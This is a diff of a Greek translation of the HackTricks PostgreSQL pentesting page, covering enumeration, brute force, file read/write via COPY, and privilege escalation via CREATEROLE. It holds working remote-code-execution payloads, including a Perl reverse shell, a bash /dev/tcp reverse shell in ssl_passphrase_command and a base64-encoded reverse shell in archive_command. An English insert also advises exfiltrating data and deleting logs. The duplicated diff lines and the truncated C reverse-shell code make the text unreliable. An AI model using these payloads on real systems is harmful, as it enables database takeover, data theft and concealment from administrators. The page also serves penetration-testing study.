* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
Το **PostgreSQL** περιγράφεται ως ένα **σύστημα βάσης δεδομένων αντικειμενοστραφές** που είναι **ανοικτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει και με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να χειρίζεται μια μεγάλη ποικιλία τύπων δεδομένων και λειτουργιών, κάνοντάς το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς.
|
||||
Το **PostgreSQL** περιγράφεται ως ένα **σύστημα βάσης δεδομένων αντικειμενοστραφές** που είναι **ανοικτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει και με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να χειριστεί μια μεγάλη ποικιλία τύπων δεδομένων και λειτουργιών, κάνοντάς το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 5432, και αν αυτή η θύρα είναι ήδη σε χρήση, φαίνεται ότι το postgresql θα χρησιμοποιήσει την επόμενη θύρα (πιθανότατα 5433) η οποία δεν είναι σε χρήση.
|
||||
```
|
||||
|
@ -86,7 +86,7 @@ SELECT * FROM pg_extension;
|
|||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
```
|
||||
### [**Χυδαία επίθεση**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
|
||||
### **Σάρωση θυρών**
|
||||
|
||||
|
@ -101,7 +101,7 @@ connect_timeout=10');
|
|||
```
|
||||
* Ο Φιλοξενητής είναι εκτός σύνδεσης
|
||||
|
||||
```DETAIL: δεν ήταν δυνατή η σύνδεση στον διακομιστή: Δεν υπάρχει διαδρομή για τον φιλοξενητή. Εκτελείται ο διακομιστής στον φιλοξενητή "1.2.3.4" και δέχεται συνδέσεις TCP/IP στη θύρα 5678;`
|
||||
```DETAIL: δεν ήταν δυνατή η σύνδεση στον διακομιστή: Δεν υπάρχει διαδρομή για τον φιλοξενητή. Εκτελείται ο διακομιστής στον φιλοξενητή "1.2.3.4" και δέχεται συνδέσεις TCP/IP στη θύρα 5678;```
|
||||
|
||||
* Η θύρα είναι κλειστή
|
||||
```
|
||||
|
@ -113,33 +113,41 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
```plaintext
|
||||
### PostgreSQL
|
||||
```markdown
|
||||
## PostgreSQL
|
||||
|
||||
#### Enumeration
|
||||
### Enumeration
|
||||
|
||||
Enumeration of PostgreSQL services can be done using tools like Nmap, Metasploit, or manual methods like connecting to the database using psql client.
|
||||
When conducting a PostgreSQL pentest, start by enumerating the PostgreSQL service running on the target system. Use tools like Nmap to scan for open ports and identify if PostgreSQL is running on the default port 5432.
|
||||
|
||||
#### Default Credentials
|
||||
### Version Detection
|
||||
|
||||
Always check for default credentials like `postgres:postgres`, `postgres:admin`, `postgres:password`, etc.
|
||||
Identifying the version of PostgreSQL running on the target system is crucial for determining potential vulnerabilities. Tools like `pg_version` can be used to extract version information.
|
||||
|
||||
#### Brute Forcing
|
||||
### Default Credentials
|
||||
|
||||
Brute forcing can be performed using tools like Hydra or Metasploit.
|
||||
Always check for default credentials such as `postgres:postgres` or weak credentials during a PostgreSQL pentest. Many users fail to change the default credentials, leading to security risks.
|
||||
|
||||
#### Exploitation
|
||||
### Brute Forcing
|
||||
|
||||
Exploitation of PostgreSQL services can be done by leveraging known vulnerabilities or misconfigurations.
|
||||
If default credentials are not effective, consider brute forcing PostgreSQL login credentials using tools like Hydra or Metasploit. Use a wordlist containing common passwords for better results.
|
||||
|
||||
#### Post-Exploitation
|
||||
### Exploitation
|
||||
|
||||
After gaining access to the PostgreSQL database, post-exploitation activities can include dumping data, creating new accounts, or even installing backdoors.
|
||||
Exploiting PostgreSQL vulnerabilities can provide access to sensitive data or even the underlying operating system. Look for known exploits targeting the specific version of PostgreSQL running on the target system.
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
After gaining access to the PostgreSQL database, explore the data stored within. Look for valuable information such as user credentials, financial data, or intellectual property that could be exfiltrated.
|
||||
|
||||
### Covering Tracks
|
||||
|
||||
Finally, ensure to cover your tracks by deleting logs and any evidence of the PostgreSQL pentest to avoid detection by system administrators.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
* Το θύρα είναι ανοιχτή ή φιλτραρισμένη
|
||||
* Η θύρα είναι ανοιχτή ή φιλτραρισμένη
|
||||
```
|
||||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
|
@ -156,11 +164,11 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
| rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων |
|
||||
| rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως αρχικό αναγνωριστικό εξουσιοδότησης συνεδρίας |
|
||||
| rolreplication | Ο ρόλος είναι ρόλος αναπαραγωγής. Ένας ρόλος αναπαραγωγής μπορεί να εκκινήσει συνδέσεις αναπαραγωγής και να δημιουργήσει και να διαγράψει υποδοχές αναπαραγωγής. |
|
||||
| rolconnlimit | Για ρόλους που μπορούν να συνδεθούν, ορίζει το μέγιστο αριθμό ταυτόχρονων συνδέσεων που μπορεί να κάνει αυτός ο ρόλος. Το -1 σημαίνει ότι δεν υπάρχει όριο. |
|
||||
| rolconnlimit | Για ρόλους που μπορούν να συνδεθούν, ορίζει το μέγιστο αριθμό ταυτόχρονων συνδέσεων που μπορεί να πραγματοποιήσει αυτός ο ρόλος. -1 σημαίνει ότι δεν υπάρχει όριο. |
|
||||
| rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) |
|
||||
| rolvaliduntil | Χρόνος λήξης κωδικού (χρησιμοποιείται μόνο για ταυτοποίηση με κωδικό πρόσβασης); null αν δεν υπάρχει λήξη |
|
||||
| rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας επιπέδου γραμμής, δείτε [Ενότητα 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. |
|
||||
| rolconfig | Προεπιλογές ρόλου για μεταβλητές ρύθμισης κατά την εκτέλεση |
|
||||
| rolvaliduntil | Χρόνος λήξης κωδικού (χρησιμοποιείται μόνο για πιστοποίηση κωδικού πρόσβασης); null αν δεν υπάρχει λήξη |
|
||||
| rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας επιπέδου σειράς, δείτε [Ενότητα 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. |
|
||||
| rolconfig | Προεπιλογές ρόλου για μεταβλητές ρυθμίσεων κατά την εκτέλεση |
|
||||
| oid | ID του ρόλου |
|
||||
|
||||
#### Ενδιαφέρουσες Ομάδες
|
||||
|
@ -170,7 +178,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
* Αν είστε μέλος του **`pg_write_server_files`** μπορείτε να **γράψετε** αρχεία
|
||||
|
||||
{% hint style="info" %}
|
||||
Σημειώστε ότι στο Postgres ένας **χρήστης**, μια **ομάδα** και ένας **ρόλος** είναι το **ίδιο**. Απλά εξαρτάται από το **πώς το χρησιμοποιείτε** και αν του επιτρέπετε να **συνδεθεί**.
|
||||
Σημειώστε ότι στο Postgres ένας **χρήστης**, μια **ομάδα** και ένας **ρόλος** είναι το **ίδιο**. Απλά εξαρτάται από το **πώς το χρησιμοποιείτε** και αν του επιτρέπετε να συνδεθεί.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -253,7 +261,7 @@ SELECT * FROM pg_proc;
|
|||
|
||||
### Διαβάστε καταλόγους και αρχεία
|
||||
|
||||
Από αυτήν την [**αλλαγή**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) μέλη της ορισμένης ομάδας **`DEFAULT_ROLE_READ_SERVER_FILES`** (που ονομάζεται **`pg_read_server_files`**) και **υπερχρήστες** μπορούν να χρησιμοποιήσουν τη μέθοδο **`COPY`** σε οποιονδήποτε διαδρόμο (ελέγξτε το `convert_and_check_filename` στο `genfile.c`):
|
||||
Από αυτήν την [**αλλαγή**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) μέλη της ορισμένης ομάδας **`DEFAULT_ROLE_READ_SERVER_FILES`** (ονομάζεται **`pg_read_server_files`**) και **υπερχρήστες** μπορούν να χρησιμοποιήσουν τη μέθοδο **`COPY`** σε οποιοδήποτε διαδρομή (ελέγξτε το `convert_and_check_filename` στο `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -268,7 +276,7 @@ GRANT pg_read_server_files TO username;
|
|||
[**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Υπάρχουν **άλλες λειτουργίες του postgres** που μπορούν να χρησιμοποιηθούν για **ανάγνωση αρχείου ή εμφάνιση λίστας φακέλων**. Μόνο **υπερχρήστες** και **χρήστες με συγκεκριμένες άδειες** μπορούν να τις χρησιμοποιήσουν:
|
||||
Υπάρχουν **άλλες λειτουργίες της postgres** που μπορούν να χρησιμοποιηθούν για **ανάγνωση αρχείου ή λίστα καταλόγου**. Μόνο **υπερχρήστες** και **χρήστες με συγκεκριμένες άδειες** μπορούν να τις χρησιμοποιήσουν:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -312,8 +320,8 @@ GRANT pg_write_server_files TO username;
|
|||
[**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Να θυμάστε ότι το COPY δεν μπορεί να χειριστεί χαρακτήρες νέας γραμμής, επομένως ακόμη και αν χρησιμοποιείτε ένα φορτωμένο base64 payload **πρέπει να στείλετε μια γραμμή**.\
|
||||
Ένα πολύ σημαντικό περιορισμός αυτής της τεχνικής είναι ότι **το `copy` δεν μπορεί να χρησιμοποιηθεί για την εγγραφή δυαδικών αρχείων καθώς τροποποιεί μερικές δυαδικές τιμές.**
|
||||
Να θυμάστε ότι το COPY δεν μπορεί να χειριστεί χαρακτήρες νέας γραμμής, επομένως ακόμη και αν χρησιμοποιείτε ένα φορτωμένο base64 payload **πρέπει να στείλετε μια γραμμή κώδικα**.\
|
||||
Ένα πολύ σημαντικό περιορισμός αυτής της τεχνικής είναι ότι **το `copy` δεν μπορεί να χρησιμοποιηθεί για την εγγραφή δυαδικών αρχείων καθώς τροποποιεί κάποιες δυαδικές τιμές.**
|
||||
|
||||
### **Μεταφόρτωση δυαδικών αρχείων**
|
||||
|
||||
|
@ -325,11 +333,11 @@ GRANT pg_write_server_files TO username;
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Ενημέρωση δεδομένων πίνακα PostgreSQL μέσω εγγραφής τοπικού αρχείου
|
||||
### Ενημέρωση δεδομένων πίνακα PostgreSQL μέσω τοπικής εγγραφής αρχείου
|
||||
|
||||
Αν έχετε τις απαραίτητες άδειες για να διαβάσετε και να γράψετε αρχεία εξυπηρετητή PostgreSQL, μπορείτε να ενημερώσετε οποιονδήποτε πίνακα στον εξυπηρετητή με το **αντικατάσταση του συσχετισμένου κόμβου αρχείου** στο [κατάλογο δεδομένων του PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Περισσότερα για αυτήν την τεχνική** [**εδώ**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
|
@ -341,7 +349,7 @@ GRANT pg_write_server_files TO username;
|
|||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Σημείωση:** Αν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση του PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Οι συνήθεις διαδρομές καταλόγων δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα συνηθισμένο όνομα cluster είναι `main`.
|
||||
**Σημείωση:** Αν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση του PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Οι κοινές διαδρομές καταλόγων δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα κοινό όνομα συστάδας είναι `main`.
|
||||
2. Αποκτήστε μια σχετική διαδρομή προς τον κόμβο αρχείου, που συσχετίζεται με τον στόχο πίνακα
|
||||
|
||||
```sql
|
||||
|
@ -419,7 +427,7 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Να θυμάστε ότι αν δεν είστε υπερχρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`** μπορείτε **να γίνετε μέλος αυτής της ομάδας:**
|
||||
Να θυμάστε ότι αν δεν είστε υπερχρήστης αλλά έχετε δικαιώματα **`CREATEROLE`** μπορείτε **να γίνετε μέλος αυτής της ομάδας:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
@ -427,7 +435,7 @@ GRANT pg_execute_server_program TO username;
|
|||
{% endhint %}
|
||||
|
||||
Ή χρησιμοποιήστε το `multi/postgres/postgres_copy_from_program_cmd_exec` module από το **metasploit**.\
|
||||
Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρεται ως CVE-2019-9193, το Postges δήλωσε ότι αυτό ήταν ένα [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Περισσότερες πληροφορίες σχετικά με αυτήν την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρεται ως CVE-2019-9193, το Postges δήλωσε ότι αυτό ήταν ένα [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE με Γλώσσες PostgreSQL
|
||||
|
||||
|
@ -443,19 +451,19 @@ GRANT pg_execute_server_program TO username;
|
|||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RCE με το αρχείο ρύθμισης της PostgreSQL
|
||||
### RCE με το αρχείο ρύθμισης του PostgreSQL
|
||||
|
||||
{% hint style="info" %}
|
||||
Οι ακόλουθοι διανύσματα RCE είναι ιδιαίτερα χρήσιμα σε περιορισμένα πλαίσια SQLi, καθώς όλα τα βήματα μπορούν να εκτελεστούν μέσω εμφωλιασμένων δηλώσεων SELECT
|
||||
{% endhint %}
|
||||
|
||||
Το **αρχείο ρύθμισης** της PostgreSQL είναι **εγγράψιμο** από τον χρήστη **postgres**, ο οποίος εκτελεί τη βάση δεδομένων, οπότε ως **υπερχρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων και συνεπώς μπορείτε να **αντικαταστήσετε αυτό το αρχείο.**
|
||||
Το **αρχείο ρύθμισης** του PostgreSQL είναι **εγγράψιμο** από τον χρήστη **postgres**, ο οποίος εκτελεί τη βάση δεδομένων, οπότε ως **υπερχρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και συνεπώς μπορείτε να **αντικαταστήσετε αυτό το αρχείο.**
|
||||
|
||||
![](<../.gitbook/assets/image (322).png>)
|
||||
|
||||
#### **RCE με ssl\_passphrase\_command**
|
||||
|
||||
Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
||||
Περισσότερες πληροφορίες [σχετικά με αυτήν την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
||||
|
||||
Το αρχείο ρύθμισης έχει μερικά ενδιαφέροντα χαρακτηριστικά που μπορούν να οδηγήσουν σε RCE:
|
||||
|
||||
|
@ -463,23 +471,23 @@ GRANT pg_execute_server_program TO username;
|
|||
* `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο προστατεύεται με κωδικό πρόσβασης (κρυπτογραφημένο) το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργοποιημένο** η **εντολή** που εκτελείται αν το κλειδί προστατεύεται με κωδικό πρόσβασης **θα εκτελεστεί** όταν εκτελείται το `pg_reload_conf()`.
|
||||
|
||||
Στη συνέχεια, ένας επιτιθέμενος θα πρέπει:
|
||||
Στη συνέχεια, ένας επιτιθέμενος θα πρέπει να:
|
||||
|
||||
1. **Ανάκτηση ιδιωτικού κλειδιού** από τον εξυπηρετητή
|
||||
2. **Κρυπτογράφηση** του κατεβασμένου ιδιωτικού κλειδιού:
|
||||
1. **Αντλήσει τον ιδιωτικό κλειδί** από τον διακομιστή
|
||||
2. **Κρυπτογραφήσει** το κατεβασμένο ιδιωτικό κλειδί:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Αντικατάσταση**
|
||||
4. **Ανάκτηση** της τρέχουσας **ρύθμισης** της postgresql
|
||||
5. **Αντικατάσταση** της **ρύθμισης** με την ρύθμιση των αναφερόμενων χαρακτηριστικών:
|
||||
3. **Αντικαταστήσει**
|
||||
4. **Αντλήσει** την τρέχουσα **ρύθμιση** του postgresql
|
||||
5. **Αντικαταστήσει** τη **ρύθμιση** με τη ρύθμιση των αναφερόμενων χαρακτηριστικών:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Εκτέλεση `pg_reload_conf()`
|
||||
6. Εκτελέσει το `pg_reload_conf()`
|
||||
|
||||
Κατά τη δοκιμή αυτής της διαδικασίας παρατήρησα ότι αυτό θα λειτουργήσει μόνο εάν το **ιδιωτικό κλειδί έχει δικαιώματα 640**, είναι **κατοχυρωμένο από το root** και από τη **συγκεκριμένη ομάδα ssl-cert ή postgres** (ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και βρίσκεται στο _/var/lib/postgresql/12/main_.
|
||||
Κατά τη δοκιμή αυτής της διαδικασίας παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό κλειδί έχει δικαιώματα 640**, είναι **κατοχυρωμένο από το root** και από τη **συγκεκριμένη ομάδα ssl-cert ή postgres** (ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και βρίσκεται στο _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE με archive\_command**
|
||||
|
||||
**Περισσότερες** [**πληροφορίες σχετικά με αυτή τη ρύθμιση και για το WAL εδώ**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
**Περισσότερες** [**πληροφορίες σχετικά με αυτήν τη ρύθμιση και για το WAL εδώ**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
Ένα άλλο χαρακτηριστικό στο αρχείο ρύθμισης που μπορεί να εκμεταλλευτεί είναι το `archive_command`.
|
||||
|
||||
|
@ -487,28 +495,28 @@ GRANT pg_execute_server_program TO username;
|
|||
|
||||
Τα γενικά βήματα είναι:
|
||||
|
||||
1. Έλεγχος εάν η λειτουργία αρχειοθέτησης είναι ενεργοποιημένη: `SELECT current_setting('archive_mode')`
|
||||
2. Αντικατάσταση του `archive_command` με το payload. Για παράδειγμα, ένα αντίστροφο κέλυφος: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Επαναφόρτωση της ρύθμισης: `SELECT pg_reload_conf()`
|
||||
4. Εξαναγκάστε τη λειτουργία WAL να τρέξει, η οποία θα καλέσει την εντολή αρχειοθέτησης: `SELECT pg_switch_wal()` ή `SELECT pg_switch_xlog()` για μερικές εκδόσεις της Postgres
|
||||
1. Ελέγξτε εάν η λειτουργία αρχειοθέτησης είναι ενεργοποιημένη: `SELECT current_setting('archive_mode')`
|
||||
2. Αντικαταστήστε το `archive_command` με το φορτίο. Για παράδειγμα, ένα αντίστροφο κέλυφος: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Επαναφορτώστε τη ρύθμιση: `SELECT pg_reload_conf()`
|
||||
4. Εξαναγκάστε τη λειτουργία WAL να τρέξει, η οποία θα καλέσει την εντολή αρχειοθέτησης: `SELECT pg_switch_wal()` ή `SELECT pg_switch_xlog()` για μερικές εκδόσεις του Postgres
|
||||
|
||||
#### **RCE με βιβλιοθήκες preload**
|
||||
#### **RCE με βιβλιοθήκες προφόρτωσης**
|
||||
|
||||
Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
Περισσότερες πληροφορίες [σχετικά με αυτήν την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
Αυτό το διάνυσμα επίθεσης εκμεταλλεύεται τις ακόλουθες μεταβλητές ρύθμισης:
|
||||
Αυτός ο διάνυσμα επίθεσης εκμεταλλεύεται τις ακόλουθες μεταβλητές ρύθμισης:
|
||||
|
||||
* `session_preload_libraries` -- βιβλιοθήκες που θα φορτωθούν από τον διακομιστή PostgreSQL κατά τη σύνδεση του πελάτη.
|
||||
* `dynamic_library_path` -- λίστα καταλόγων όπου ο διακομιστής PostgreSQL θα αναζητήσει τις βιβλιοθήκες.
|
||||
|
||||
Μπορούμε να ορίσουμε την τιμή του `dynamic_library_path` σε έναν κατάλογο, εγγράψιμο από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, για παράδειγμα, τον κατάλογο `/tmp/`, και να μεταφορτώσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα εξαναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νεότερη βιβλιοθήκη μας με την περιλαμβανόμενη στη μεταβλητή `session_preload_libraries`.
|
||||
Μπορούμε να ορίσουμε την τιμή του `dynamic_library_path` σε έναν κατάλογο, εγγράψιμο από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, για παράδειγμα, τον κατάλογο `/tmp/`, και να μεταφορτώσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νεομεταφορτωμένη μας βιβλιοθήκη συμπεριλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`.
|
||||
|
||||
Τα βήματα της επίθεσης είναι:
|
||||
|
||||
1. Λήψη του αρχικού `postgresql.conf`
|
||||
2. Συμπερίληψη του καταλόγου `/tmp/` στην τιμή του `dynamic_library_path`, π.χ. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Συμπερίληψη του ονόματος της κακόβουλης βιβλιοθήκης στην τιμή του `session_preload_libraries`, π.χ. `session_preload_libraries = 'payload.so'`
|
||||
4. Έλεγχος της κύριας έκδοσης της PostgreSQL μέσω του ερωτήματος `SELECT version()`
|
||||
4. Έλεγχος της κύριας έκδοσης PostgreSQL μέσω του ερωτήματος `SELECT version()`
|
||||
5. Σύνταξη του κώδικα της κακόβουλης βιβλιοθήκης με το σωστό πακέτο ανάπτυξης PostgreSQL Δείγμα κώδικα:
|
||||
|
||||
```c
|
||||
|
@ -537,18 +545,16 @@ struct sockaddr_in revsockaddr;
|
|||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||||
revsockaddr.sin_family = AF_INET;
|
||||
revsockaddr.sin_port = htons(port);
|
||||
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
||||
|
||||
connect(sockt,
|
||||
revsockaddr.sin
|
||||
## **Postgres Ανύψωση Δικαιωμάτων**
|
||||
|
||||
### CREATEROLE Ανύψωση
|
||||
### Ανύψωση με το CREATEROLE
|
||||
|
||||
#### **Χορήγηση**
|
||||
|
||||
Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν το προνόμιο **`CREATEROLE`** μπορούν να **χορηγήσουν ή να ανακαλέσουν την συμμετοχή σε οποιονδήποτε ρόλο** που **δεν** είναι **υπερχρήστης**._
|
||||
Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν το προνόμιο **`CREATEROLE`** μπορούν **να χορηγήσουν ή να ανακαλέσουν την συμμετοχή σε οποιονδήποτε ρόλο** που **δεν** είναι **υπερχρήστης**._
|
||||
|
||||
Έτσι, αν έχετε την άδεια **`CREATEROLE`** μπορείτε να χορηγήσετε στον εαυτό σας πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερχρήστες) που μπορεί να σας δώσουν τη δυνατότητα να διαβάσετε & να γράψετε αρχεία και να εκτελέσετε εντολές:
|
||||
Έτσι, αν έχετε την άδεια **`CREATEROLE`** μπορείτε να χορηγήσετε στον εαυτό σας πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερχρήστες) που μπορεί να σας δώσουν τη δυνατότητα να διαβάσετε και να γράψετε αρχεία και να εκτελέσετε εντολές:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -557,14 +563,14 @@ GRANT pg_read_server_files TO username;
|
|||
# Access to write files
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
#### Τροποποίηση Κωδικού
|
||||
#### Τροποποίηση Κωδικού Πρόσβασης
|
||||
|
||||
Οι χρήστες με αυτόν τον ρόλο μπορούν επίσης να **τροποποιήσουν** τους **κωδικούς πρόσβασης** άλλων **μη-υπερχρηστών**:
|
||||
Οι χρήστες με αυτόν τον ρόλο μπορούν επίσης **να αλλάξουν** τους **κωδικούς πρόσβασης** άλλων **μη-υπερχρηστών**:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
